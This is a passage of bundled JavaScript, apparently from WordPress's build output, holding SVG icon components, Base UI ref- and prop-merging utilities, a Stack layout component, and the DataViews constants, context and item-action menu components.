1644 var previous_default = /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(import_primitives23.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(import_primitives23.Path, { d: "M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z" }) });
1645
1646 // packages/icons/build-module/library/scheduled.mjs
1647 var import_primitives24 = __toESM(require_primitives(), 1);
1648 var import_jsx_runtime24 = __toESM(require_jsx_runtime(), 1);
1649 var scheduled_default = /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(import_primitives24.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(import_primitives24.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z" }) });
1650
1651 // packages/icons/build-module/library/search.mjs
1652 var import_primitives25 = __toESM(require_primitives(), 1);
1653 var import_jsx_runtime25 = __toESM(require_jsx_runtime(), 1);
1654 var search_default = /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(import_primitives25.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(import_primitives25.Path, { d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z" }) });
1655
1656 // packages/icons/build-module/library/seen.mjs
1657 var import_primitives26 = __toESM(require_primitives(), 1);
1658 var import_jsx_runtime26 = __toESM(require_jsx_runtime(), 1);
1659 var seen_default = /* @__PURE__ */ (0, import_jsx_runtime26.jsx)(import_primitives26.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime26.jsx)(import_primitives26.Path, { d: "M3.99961 13C4.67043 13.3354 4.6703 13.3357 4.67017 13.3359L4.67298 13.3305C4.67621 13.3242 4.68184 13.3135 4.68988 13.2985C4.70595 13.2686 4.7316 13.2218 4.76695 13.1608C4.8377 13.0385 4.94692 12.8592 5.09541 12.6419C5.39312 12.2062 5.84436 11.624 6.45435 11.0431C7.67308 9.88241 9.49719 8.75 11.9996 8.75C14.502 8.75 16.3261 9.88241 17.5449 11.0431C18.1549 11.624 18.6061 12.2062 18.9038 12.6419C19.0523 12.8592 19.1615 13.0385 19.2323 13.1608C19.2676 13.2218 19.2933 13.2686 19.3093 13.2985C19.3174 13.3135 19.323 13.3242 19.3262 13.3305L19.3291 13.3359C19.3289 13.3357 19.3288 13.3354 19.9996 13C20.6704 12.6646 20.6703 12.6643 20.6701 12.664L20.6697 12.6632L20.6688 12.6614L20.6662 12.6563L20.6583 12.6408C20.6517 12.6282 20.6427 12.6108 20.631 12.5892C20.6078 12.5459 20.5744 12.4852 20.5306 12.4096C20.4432 12.2584 20.3141 12.0471 20.1423 11.7956C19.7994 11.2938 19.2819 10.626 18.5794 9.9569C17.1731 8.61759 14.9972 7.25 11.9996 7.25C9.00203 7.25 6.82614 8.61759 5.41987 9.9569C4.71736 10.626 4.19984 11.2938 3.85694 11.7956C3.68511 12.0471 3.55605 12.2584 3.4686 12.4096C3.42484 12.4852 3.39142 12.5459 3.36818 12.5892C3.35656 12.6108 3.34748 12.6282 3.34092 12.6408L3.33297 12.6563L3.33041 12.6614L3.32948 12.6632L3.32911 12.664C3.32894 12.6643 3.32879 12.6646 3.99961 13ZM11.9996 16C13.9326 16 15.4996 14.433 15.4996 12.5C15.4996 10.567 13.9326 9 11.9996 9C10.0666 9 8.49961 10.567 8.49961 12.5C8.49961 14.433 10.0666 16 11.9996 16Z" }) });
1660
1661 // packages/icons/build-module/library/unseen.mjs
1662 var import_primitives27 = __toESM(require_primitives(), 1);
1663 var import_jsx_runtime27 = __toESM(require_jsx_runtime(), 1);
1664 var unseen_default = /* @__PURE__ */ (0, import_jsx_runtime27.jsx)(import_primitives27.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime27.jsx)(import_primitives27.Path, { d: "M20.7 12.7s0-.1-.1-.2c0-.2-.2-.4-.4-.6-.3-.5-.9-1.2-1.6-1.8-.7-.6-1.5-1.3-2.6-1.8l-.6 1.4c.9.4 1.6 1 2.1 1.5.6.6 1.1 1.2 1.4 1.6.1.2.3.4.3.5v.1l.7-.3.7-.3Zm-5.2-9.3-1.8 4c-.5-.1-1.1-.2-1.7-.2-3 0-5.2 1.4-6.6 2.7-.7.7-1.2 1.3-1.6 1.8-.2.3-.3.5-.4.6 0 0 0 .1-.1.2s0 0 .7.3l.7.3V13c0-.1.2-.3.3-.5.3-.4.7-1 1.4-1.6 1.2-1.2 3-2.3 5.5-2.3H13v.3c-.4 0-.8-.1-1.1-.1-1.9 0-3.5 1.6-3.5 3.5s.6 2.3 1.6 2.9l-2 4.4.9.4 7.6-16.2-.9-.4Zm-3 12.6c1.7-.2 3-1.7 3-3.5s-.2-1.4-.6-1.9L12.4 16Z" }) });
1665
1666 // packages/icons/build-module/library/upload.mjs
1667 var import_primitives28 = __toESM(require_primitives(), 1);
1668 var import_jsx_runtime28 = __toESM(require_jsx_runtime(), 1);
1669 var upload_default = /* @__PURE__ */ (0, import_jsx_runtime28.jsx)(import_primitives28.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime28.jsx)(import_primitives28.Path, { d: "M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z" }) });
1670
1671 // packages/icons/build-module/library/video.mjs
1672 var import_primitives29 = __toESM(require_primitives(), 1);
1673 var import_jsx_runtime29 = __toESM(require_jsx_runtime(), 1);
1674 var video_default = /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(import_primitives29.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(import_primitives29.Path, { d: "M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z" }) });
1675
1676 // node_modules/@base-ui/utils/esm/useRefWithInit.js
1677 var React = __toESM(require_react(), 1);
1678 var UNINITIALIZED = {};
1679 function useRefWithInit(init2, initArg) {
1680 const ref = React.useRef(UNINITIALIZED);
1681 if (ref.current === UNINITIALIZED) {
1682 ref.current = init2(initArg);
1683 }
1684 return ref;
1685 }
1686
1687 // node_modules/@base-ui/react/esm/utils/useRenderElement.js
1688 var React4 = __toESM(require_react(), 1);
1689
1690 // node_modules/@base-ui/utils/esm/useMergedRefs.js
1691 function useMergedRefs(a2, b2, c2, d2) {
1692 const forkRef = useRefWithInit(createForkRef).current;
1693 if (didChange(forkRef, a2, b2, c2, d2)) {
1694 update(forkRef, [a2, b2, c2, d2]);
1695 }
1696 return forkRef.callback;
1697 }
1698 function useMergedRefsN(refs) {
1699 const forkRef = useRefWithInit(createForkRef).current;
1700 if (didChangeN(forkRef, refs)) {
1701 update(forkRef, refs);
1702 }
1703 return forkRef.callback;
1704 }
1705 function createForkRef() {
1706 return {
1707 callback: null,
1708 cleanup: null,
1709 refs: []
1710 };
1711 }
1712 function didChange(forkRef, a2, b2, c2, d2) {
1713 return forkRef.refs[0] !== a2 || forkRef.refs[1] !== b2 || forkRef.refs[2] !== c2 || forkRef.refs[3] !== d2;
1714 }
1715 function didChangeN(forkRef, newRefs) {
1716 return forkRef.refs.length !== newRefs.length || forkRef.refs.some((ref, index) => ref !== newRefs[index]);
1717 }
1718 function update(forkRef, refs) {
1719 forkRef.refs = refs;
1720 if (refs.every((ref) => ref == null)) {
1721 forkRef.callback = null;
1722 return;
1723 }
1724 forkRef.callback = (instance) => {
1725 if (forkRef.cleanup) {
1726 forkRef.cleanup();
1727 forkRef.cleanup = null;
1728 }
1729 if (instance != null) {
1730 const cleanupCallbacks = Array(refs.length).fill(null);
1731 for (let i2 = 0; i2 < refs.length; i2 += 1) {
1732 const ref = refs[i2];
1733 if (ref == null) {
1734 continue;
1735 }
1736 switch (typeof ref) {
1737 case "function": {
1738 const refCleanup = ref(instance);
1739 if (typeof refCleanup === "function") {
1740 cleanupCallbacks[i2] = refCleanup;
1741 }
1742 break;
1743 }
1744 case "object": {
1745 ref.current = instance;
1746 break;
1747 }
1748 default:
1749 }
1750 }
1751 forkRef.cleanup = () => {
1752 for (let i2 = 0; i2 < refs.length; i2 += 1) {
1753 const ref = refs[i2];
1754 if (ref == null) {
1755 continue;
1756 }
1757 switch (typeof ref) {
1758 case "function": {
1759 const cleanupCallback = cleanupCallbacks[i2];
1760 if (typeof cleanupCallback === "function") {
1761 cleanupCallback();
1762 } else {
1763 ref(null);
1764 }
1765 break;
1766 }
1767 case "object": {
1768 ref.current = null;
1769 break;
1770 }
1771 default:
1772 }
1773 }
1774 };
1775 }
1776 };
1777 }
1778
1779 // node_modules/@base-ui/utils/esm/getReactElementRef.js
1780 var React3 = __toESM(require_react(), 1);
1781
1782 // node_modules/@base-ui/utils/esm/reactVersion.js
1783 var React2 = __toESM(require_react(), 1);
1784 var majorVersion = parseInt(React2.version, 10);
1785 function isReactVersionAtLeast(reactVersionToCheck) {
1786 return majorVersion >= reactVersionToCheck;
1787 }
1788
1789 // node_modules/@base-ui/utils/esm/getReactElementRef.js
1790 function getReactElementRef(element) {
1791 if (!/* @__PURE__ */ React3.isValidElement(element)) {
1792 return null;
1793 }
1794 const reactElement = element;
1795 const propsWithRef = reactElement.props;
1796 return (isReactVersionAtLeast(19) ? propsWithRef?.ref : reactElement.ref) ?? null;
1797 }
1798
1799 // node_modules/@base-ui/utils/esm/mergeObjects.js
1800 function mergeObjects(a2, b2) {
1801 if (a2 && !b2) {
1802 return a2;
1803 }
1804 if (!a2 && b2) {
1805 return b2;
1806 }
1807 if (a2 || b2) {
1808 return {
1809 ...a2,
1810 ...b2
1811 };
1812 }
1813 return void 0;
1814 }
1815
1816 // node_modules/@base-ui/react/esm/utils/getStateAttributesProps.js
1817 function getStateAttributesProps(state, customMapping) {
1818 const props = {};
1819 for (const key in state) {
1820 const value = state[key];
1821 if (customMapping?.hasOwnProperty(key)) {
1822 const customProps = customMapping[key](value);
1823 if (customProps != null) {
1824 Object.assign(props, customProps);
1825 }
1826 continue;
1827 }
1828 if (value === true) {
1829 props[`data-${key.toLowerCase()}`] = "";
1830 } else if (value) {
1831 props[`data-${key.toLowerCase()}`] = value.toString();
1832 }
1833 }
1834 return props;
1835 }
1836
1837 // node_modules/@base-ui/react/esm/utils/resolveClassName.js
1838 function resolveClassName(className, state) {
1839 return typeof className === "function" ? className(state) : className;
1840 }
1841
1842 // node_modules/@base-ui/react/esm/utils/resolveStyle.js
1843 function resolveStyle(style, state) {
1844 return typeof style === "function" ? style(state) : style;
1845 }
1846
1847 // node_modules/@base-ui/react/esm/merge-props/mergeProps.js
1848 var EMPTY_PROPS = {};
1849 function mergeProps(a2, b2, c2, d2, e2) {
1850 let merged = {
1851 ...resolvePropsGetter(a2, EMPTY_PROPS)
1852 };
1853 if (b2) {
1854 merged = mergeOne(merged, b2);
1855 }
1856 if (c2) {
1857 merged = mergeOne(merged, c2);
1858 }
1859 if (d2) {
1860 merged = mergeOne(merged, d2);
1861 }
1862 if (e2) {
1863 merged = mergeOne(merged, e2);
1864 }
1865 return merged;
1866 }
1867 function mergePropsN(props) {
1868 if (props.length === 0) {
1869 return EMPTY_PROPS;
1870 }
1871 if (props.length === 1) {
1872 return resolvePropsGetter(props[0], EMPTY_PROPS);
1873 }
1874 let merged = {
1875 ...resolvePropsGetter(props[0], EMPTY_PROPS)
1876 };
1877 for (let i2 = 1; i2 < props.length; i2 += 1) {
1878 merged = mergeOne(merged, props[i2]);
1879 }
1880 return merged;
1881 }
1882 function mergeOne(merged, inputProps) {
1883 if (isPropsGetter(inputProps)) {
1884 return inputProps(merged);
1885 }
1886 return mutablyMergeInto(merged, inputProps);
1887 }
1888 function mutablyMergeInto(mergedProps, externalProps) {
1889 if (!externalProps) {
1890 return mergedProps;
1891 }
1892 for (const propName in externalProps) {
1893 const externalPropValue = externalProps[propName];
1894 switch (propName) {
1895 case "style": {
1896 mergedProps[propName] = mergeObjects(mergedProps.style, externalPropValue);
1897 break;
1898 }
1899 case "className": {
1900 mergedProps[propName] = mergeClassNames(mergedProps.className, externalPropValue);
1901 break;
1902 }
1903 default: {
1904 if (isEventHandler(propName, externalPropValue)) {
1905 mergedProps[propName] = mergeEventHandlers(mergedProps[propName], externalPropValue);
1906 } else {
1907 mergedProps[propName] = externalPropValue;
1908 }
1909 }
1910 }
1911 }
1912 return mergedProps;
1913 }
1914 function isEventHandler(key, value) {
1915 const code0 = key.charCodeAt(0);
1916 const code1 = key.charCodeAt(1);
1917 const code2 = key.charCodeAt(2);
1918 return code0 === 111 && code1 === 110 && code2 >= 65 && code2 <= 90 && (typeof value === "function" || typeof value === "undefined");
1919 }
1920 function isPropsGetter(inputProps) {
1921 return typeof inputProps === "function";
1922 }
1923 function resolvePropsGetter(inputProps, previousProps) {
1924 if (isPropsGetter(inputProps)) {
1925 return inputProps(previousProps);
1926 }
1927 return inputProps ?? EMPTY_PROPS;
1928 }
1929 function mergeEventHandlers(ourHandler, theirHandler) {
1930 if (!theirHandler) {
1931 return ourHandler;
1932 }
1933 if (!ourHandler) {
1934 return theirHandler;
1935 }
1936 return (event) => {
1937 if (isSyntheticEvent(event)) {
1938 const baseUIEvent = event;
1939 makeEventPreventable(baseUIEvent);
1940 const result2 = theirHandler(baseUIEvent);
1941 if (!baseUIEvent.baseUIHandlerPrevented) {
1942 ourHandler?.(baseUIEvent);
1943 }
1944 return result2;
1945 }
1946 const result = theirHandler(event);
1947 ourHandler?.(event);
1948 return result;
1949 };
1950 }
1951 function makeEventPreventable(event) {
1952 event.preventBaseUIHandler = () => {
1953 event.baseUIHandlerPrevented = true;
1954 };
1955 return event;
1956 }
1957 function mergeClassNames(ourClassName, theirClassName) {
1958 if (theirClassName) {
1959 if (ourClassName) {
1960 return theirClassName + " " + ourClassName;
1961 }
1962 return theirClassName;
1963 }
1964 return ourClassName;
1965 }
1966 function isSyntheticEvent(event) {
1967 return event != null && typeof event === "object" && "nativeEvent" in event;
1968 }
1969
1970 // node_modules/@base-ui/utils/esm/empty.js
1971 var EMPTY_ARRAY = Object.freeze([]);
1972 var EMPTY_OBJECT = Object.freeze({});
1973
1974 // node_modules/@base-ui/react/esm/utils/useRenderElement.js
1975 var import_react = __toESM(require_react(), 1);
1976 function useRenderElement(element, componentProps, params = {}) {
1977 const renderProp = componentProps.render;
1978 const outProps = useRenderElementProps(componentProps, params);
1979 if (params.enabled === false) {
1980 return null;
1981 }
1982 const state = params.state ?? EMPTY_OBJECT;
1983 return evaluateRenderProp(element, renderProp, outProps, state);
1984 }
1985 function useRenderElementProps(componentProps, params = {}) {
1986 const {
1987 className: classNameProp,
1988 style: styleProp,
1989 render: renderProp
1990 } = componentProps;
1991 const {
1992 state = EMPTY_OBJECT,
1993 ref,
1994 props,
1995 stateAttributesMapping,
1996 enabled = true
1997 } = params;
1998 const className = enabled ? resolveClassName(classNameProp, state) : void 0;
1999 const style = enabled ? resolveStyle(styleProp, state) : void 0;
2000 const stateProps = enabled ? getStateAttributesProps(state, stateAttributesMapping) : EMPTY_OBJECT;
2001 const outProps = enabled ? mergeObjects(stateProps, Array.isArray(props) ? mergePropsN(props) : props) ?? EMPTY_OBJECT : EMPTY_OBJECT;
2002 if (typeof document !== "undefined") {
2003 if (!enabled) {
2004 useMergedRefs(null, null);
2005 } else if (Array.isArray(ref)) {
2006 outProps.ref = useMergedRefsN([outProps.ref, getReactElementRef(renderProp), ...ref]);
2007 } else {
2008 outProps.ref = useMergedRefs(outProps.ref, getReactElementRef(renderProp), ref);
2009 }
2010 }
2011 if (!enabled) {
2012 return EMPTY_OBJECT;
2013 }
2014 if (className !== void 0) {
2015 outProps.className = mergeClassNames(outProps.className, className);
2016 }
2017 if (style !== void 0) {
2018 outProps.style = mergeObjects(outProps.style, style);
2019 }
2020 return outProps;
2021 }
2022 function evaluateRenderProp(element, render4, props, state) {
2023 if (render4) {
2024 if (typeof render4 === "function") {
2025 return render4(props, state);
2026 }
2027 const mergedProps = mergeProps(props, render4.props);
2028 mergedProps.ref = props.ref;
2029 return /* @__PURE__ */ React4.cloneElement(render4, mergedProps);
2030 }
2031 if (element) {
2032 if (typeof element === "string") {
2033 return renderTag(element, props);
2034 }
2035 }
2036 throw new Error(true ? "Base UI: Render element or function are not defined." : formatErrorMessage(8));
2037 }
2038 function renderTag(Tag, props) {
2039 if (Tag === "button") {
2040 return /* @__PURE__ */ (0, import_react.createElement)("button", {
2041 type: "button",
2042 ...props,
2043 key: props.key
2044 });
2045 }
2046 if (Tag === "img") {
2047 return /* @__PURE__ */ (0, import_react.createElement)("img", {
2048 alt: "",
2049 ...props,
2050 key: props.key
2051 });
2052 }
2053 return /* @__PURE__ */ React4.createElement(Tag, props);
2054 }
2055
2056 // node_modules/@base-ui/react/esm/use-render/useRender.js
2057 function useRender(params) {
2058 return useRenderElement(params.defaultTagName ?? "div", params, params);
2059 }
2060
2061 // node_modules/clsx/dist/clsx.mjs
2062 function r(e2) {
2063 var t2, f2, n2 = "";
2064 if ("string" == typeof e2 || "number" == typeof e2) n2 += e2;
2065 else if ("object" == typeof e2) if (Array.isArray(e2)) {
2066 var o2 = e2.length;
2067 for (t2 = 0; t2 < o2; t2++) e2[t2] && (f2 = r(e2[t2])) && (n2 && (n2 += " "), n2 += f2);
2068 } else for (f2 in e2) e2[f2] && (n2 && (n2 += " "), n2 += f2);
2069 return n2;
2070 }
2071 function clsx() {
2072 for (var e2, t2, f2 = 0, n2 = "", o2 = arguments.length; f2 < o2; f2++) (e2 = arguments[f2]) && (t2 = r(e2)) && (n2 && (n2 += " "), n2 += t2);
2073 return n2;
2074 }
2075 var clsx_default = clsx;
2076
2077 // packages/ui/build-module/stack/stack.mjs
2078 var import_element2 = __toESM(require_element(), 1);
2079 if (typeof document !== "undefined" && !document.head.querySelector("style[data-wp-hash='71d20935c2']")) {
2080 const style = document.createElement("style");
2081 style.setAttribute("data-wp-hash", "71d20935c2");
2082 style.appendChild(document.createTextNode("@layer wp-ui-utilities, wp-ui-components, wp-ui-compositions, wp-ui-overrides;@layer wp-ui-components{._19ce0419607e1896__stack{display:flex}}"));
2083 document.head.appendChild(style);
2084 }
2085 var style_default = { "stack": "_19ce0419607e1896__stack" };
2086 var gapTokens = {
2087 xs: "var(--wpds-dimension-gap-xs, 4px)",
2088 sm: "var(--wpds-dimension-gap-sm, 8px)",
2089 md: "var(--wpds-dimension-gap-md, 12px)",
2090 lg: "var(--wpds-dimension-gap-lg, 16px)",
2091 xl: "var(--wpds-dimension-gap-xl, 24px)",
2092 "2xl": "var(--wpds-dimension-gap-2xl, 32px)",
2093 "3xl": "var(--wpds-dimension-gap-3xl, 40px)"
2094 };
2095 var Stack = (0, import_element2.forwardRef)(function Stack2({ direction, gap, align, justify, wrap, render: render4, ...props }, ref) {
2096 const style = {
2097 gap: gap && gapTokens[gap],
2098 alignItems: align,
2099 justifyContent: justify,
2100 flexDirection: direction,
2101 flexWrap: wrap
2102 };
2103 const element = useRender({
2104 render: render4,
2105 ref,
2106 props: mergeProps(props, { style, className: style_default.stack })
2107 });
2108 return element;
2109 });
2110
2111 // packages/dataviews/build-module/components/dataviews-context/index.mjs
2112 var import_element3 = __toESM(require_element(), 1);
2113
2114 // packages/dataviews/build-module/constants.mjs
2115 var import_i18n7 = __toESM(require_i18n(), 1);
2116 var OPERATOR_IS_ANY = "isAny";
2117 var OPERATOR_IS_NONE = "isNone";
2118 var OPERATOR_IS_ALL = "isAll";
2119 var OPERATOR_IS_NOT_ALL = "isNotAll";
2120 var OPERATOR_BETWEEN = "between";
2121 var OPERATOR_IN_THE_PAST = "inThePast";
2122 var OPERATOR_OVER = "over";
2123 var OPERATOR_IS = "is";
2124 var OPERATOR_IS_NOT = "isNot";
2125 var OPERATOR_LESS_THAN = "lessThan";
2126 var OPERATOR_GREATER_THAN = "greaterThan";
2127 var OPERATOR_LESS_THAN_OR_EQUAL = "lessThanOrEqual";
2128 var OPERATOR_GREATER_THAN_OR_EQUAL = "greaterThanOrEqual";
2129 var OPERATOR_BEFORE = "before";
2130 var OPERATOR_AFTER = "after";
2131 var OPERATOR_BEFORE_INC = "beforeInc";
2132 var OPERATOR_AFTER_INC = "afterInc";
2133 var OPERATOR_CONTAINS = "contains";
2134 var OPERATOR_NOT_CONTAINS = "notContains";
2135 var OPERATOR_STARTS_WITH = "startsWith";
2136 var OPERATOR_ON = "on";
2137 var OPERATOR_NOT_ON = "notOn";
2138 var SORTING_DIRECTIONS = ["asc", "desc"];
2139 var sortArrows = { asc: "\u2191", desc: "\u2193" };
2140 var sortValues = { asc: "ascending", desc: "descending" };
2141 var sortLabels = {
2142 asc: (0, import_i18n7.__)("Sort ascending"),
2143 desc: (0, import_i18n7.__)("Sort descending")
2144 };
2145 var sortIcons = {
2146 asc: arrow_up_default,
2147 desc: arrow_down_default
2148 };
2149 var LAYOUT_TABLE = "table";
2150 var LAYOUT_GRID = "grid";
2151 var LAYOUT_LIST = "list";
2152 var LAYOUT_ACTIVITY = "activity";
2153 var LAYOUT_PICKER_GRID = "pickerGrid";
2154 var LAYOUT_PICKER_TABLE = "pickerTable";
2155
2156 // packages/dataviews/build-module/components/dataviews-context/index.mjs
2157 var DataViewsContext = (0, import_element3.createContext)({
2158 view: { type: LAYOUT_TABLE },
2159 onChangeView: () => {
2160 },
2161 fields: [],
2162 data: [],
2163 paginationInfo: {
2164 totalItems: 0,
2165 totalPages: 0
2166 },
2167 selection: [],
2168 onChangeSelection: () => {
2169 },
2170 setOpenedFilter: () => {
2171 },
2172 openedFilter: null,
2173 getItemId: (item) => item.id,
2174 isItemClickable: () => true,
2175 renderItemLink: void 0,
2176 containerWidth: 0,
2177 containerRef: (0, import_element3.createRef)(),
2178 resizeObserverRef: () => {
2179 },
2180 defaultLayouts: { list: {}, grid: {}, table: {} },
2181 filters: [],
2182 isShowingFilter: false,
2183 setIsShowingFilter: () => {
2184 },
2185 hasInitiallyLoaded: false,
2186 hasInfiniteScrollHandler: false,
2187 config: {
2188 perPageSizes: []
2189 }
2190 });
2191 DataViewsContext.displayName = "DataViewsContext";
2192 var dataviews_context_default = DataViewsContext;
2193
2194 // packages/dataviews/build-module/components/dataviews-layouts/index.mjs
2195 var import_i18n27 = __toESM(require_i18n(), 1);
2196
2197 // packages/dataviews/build-module/components/dataviews-layouts/table/index.mjs
2198 var import_i18n15 = __toESM(require_i18n(), 1);
2199 var import_components6 = __toESM(require_components(), 1);
2200 var import_element11 = __toESM(require_element(), 1);
2201 var import_keycodes = __toESM(require_keycodes(), 1);
2202
2203 // packages/dataviews/build-module/components/dataviews-selection-checkbox/index.mjs
2204 var import_components = __toESM(require_components(), 1);
2205 var import_i18n8 = __toESM(require_i18n(), 1);
2206 var import_jsx_runtime30 = __toESM(require_jsx_runtime(), 1);
2207 function DataViewsSelectionCheckbox({
2208 selection,
2209 onChangeSelection,
2210 item,
2211 getItemId,
2212 titleField,
2213 disabled,
2214 ...extraProps
2215 }) {
2216 const id = getItemId(item);
2217 const checked = !disabled && selection.includes(id);
2218 const selectionLabel = titleField?.getValue?.({ item }) || (0, import_i18n8.__)("(no title)");
2219 return /* @__PURE__ */ (0, import_jsx_runtime30.jsx)(
2220 import_components.CheckboxControl,
2221 {
2222 className: "dataviews-selection-checkbox",
2223 "aria-label": selectionLabel,
2224 "aria-disabled": disabled,
2225 checked,
2226 onChange: () => {
2227 if (disabled) {
2228 return;
2229 }
2230 onChangeSelection(
2231 selection.includes(id) ? selection.filter((itemId) => id !== itemId) : [...selection, id]
2232 );
2233 },
2234 ...extraProps
2235 }
2236 );
2237 }
2238
2239 // packages/dataviews/build-module/components/dataviews-item-actions/index.mjs
2240 var import_components2 = __toESM(require_components(), 1);
2241 var import_i18n9 = __toESM(require_i18n(), 1);
2242 var import_element4 = __toESM(require_element(), 1);
2243 var import_data = __toESM(require_data(), 1);
2244 var import_compose = __toESM(require_compose(), 1);
2245
2246 // packages/dataviews/build-module/lock-unlock.mjs
2247 var import_private_apis = __toESM(require_private_apis(), 1);
2248 var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
2249 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
2250 "@wordpress/dataviews"
2251 );
2252
2253 // packages/dataviews/build-module/components/dataviews-item-actions/index.mjs
2254 var import_jsx_runtime31 = __toESM(require_jsx_runtime(), 1);
2255 var { Menu, kebabCase } = unlock(import_components2.privateApis);
2256 function ButtonTrigger({
2257 action,
2258 onClick,
2259 items,
2260 variant
2261 }) {
2262 const label = typeof action.label === "string" ? action.label : action.label(items);
2263 return /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2264 import_components2.Button,
2265 {
2266 disabled: !!action.disabled,
2267 accessibleWhenDisabled: true,
2268 size: "compact",
2269 variant,
2270 onClick,
2271 children: label
2272 }
2273 );
2274 }
2275 function MenuItemTrigger({
2276 action,
2277 onClick,
2278 items
2279 }) {
2280 const label = typeof action.label === "string" ? action.label : action.label(items);
2281 return /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(Menu.Item, { disabled: action.disabled, onClick, children: /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(Menu.ItemLabel, { children: label }) });
2282 }
2283 function ActionModal({
2284 action,
2285 items,
2286 closeModal
2287 }) {
2288 const label = typeof action.label === "string" ? action.label : action.label(items);
2289 const modalHeader = typeof action.modalHeader === "function" ? action.modalHeader(items) : action.modalHeader;
2290 return /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2291 import_components2.Modal,
2292 {
2293 title: modalHeader || label,
2294 __experimentalHideHeader: !!action.hideModalHeader,
2295 onRequestClose: closeModal,
2296 focusOnMount: action.modalFocusOnMount ?? true,
2297 size: action.modalSize || "medium",
2298 overlayClassName: `dataviews-action-modal dataviews-action-modal__${kebabCase(
2299 action.id
2300 )}`,
2301 children: /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(action.RenderModal, { items, closeModal })
2302 }
2303 );
2304 }
2305 function ActionsMenuGroup({
2306 actions,
2307 item,
2308 registry,
2309 setActiveModalAction
2310 }) {
2311 const { primaryActions, regularActions } = (0, import_element4.useMemo)(() => {
2312 return actions.reduce(
2313 (acc, action) => {
2314 (action.isPrimary ? acc.primaryActions : acc.regularActions).push(action);
2315 return acc;
2316 },
2317 {
2318 primaryActions: [],
2319 regularActions: []
2320 }
2321 );
2322 }, [actions]);
2323 const renderActionGroup = (actionList) => actionList.map((action) => /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2324 MenuItemTrigger,
2325 {
2326 action,
2327 onClick: () => {
2328 if ("RenderModal" in action) {
2329 setActiveModalAction(action);
2330 return;
2331 }
2332 action.callback([item], { registry });
2333 },
2334 items: [item]
2335 },
2336 action.id
2337 ));
2338 return /* @__PURE__ */ (0, import_jsx_runtime31.jsxs)(Menu.Group, { children: [
2339 renderActionGroup(primaryActions),
2340 renderActionGroup(regularActions)
2341 ] });
2342 }
2343 function ItemActions({
2344 item,
2345 actions,
2346 isCompact
2347 }) {
2348 const registry = (0, import_data.useRegistry)();
2349 const { primaryActions, eligibleActions } = (0, import_element4.useMemo)(() => {
2350 const _eligibleActions = actions.filter(
2351 (action) => !action.isEligible || action.isEligible(item)
2352 );
2353 const _primaryActions = _eligibleActions.filter(
2354 (action) => action.isPrimary
2355 );
2356 return {
2357 primaryActions: _primaryActions,
2358 eligibleActions: _eligibleActions
2359 };
2360 }, [actions, item]);
2361 const isMobileViewport = (0, import_compose.useViewportMatch)("medium", "<");
2362 if (isCompact) {
2363 return /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2364 CompactItemActions,
2365 {
2366 item,
2367 actions: eligibleActions,
2368 isSmall: true,
2369 registry
2370 }
2371 );
2372 }
2373 return /* @__PURE__ */ (0, import_jsx_runtime31.jsxs)(
2374 Stack,
2375 {
2376 direction: "row",
2377 justify: "flex-end",
2378 className: "dataviews-item-actions",
2379 style: {
2380 flexShrink: 0,
2381 width: "auto"
2382 },
2383 children: [
2384 /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2385 PrimaryActions,
2386 {
2387 item,
2388 actions: primaryActions,
2389 registry
2390 }
2391 ),
2392 (primaryActions.length < eligibleActions.length || // Since we hide primary actions on mobile, we need to show the menu
2393 // there if there are any actions at all.
2394 isMobileViewport) && /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2395 CompactItemActions,
2396 {
2397 item,
2398 actions: eligibleActions,
2399 registry
2400 }
2401 )
2402 ]
2403 }
2404 );
2405 }
2406 function CompactItemActions({
2407 item,
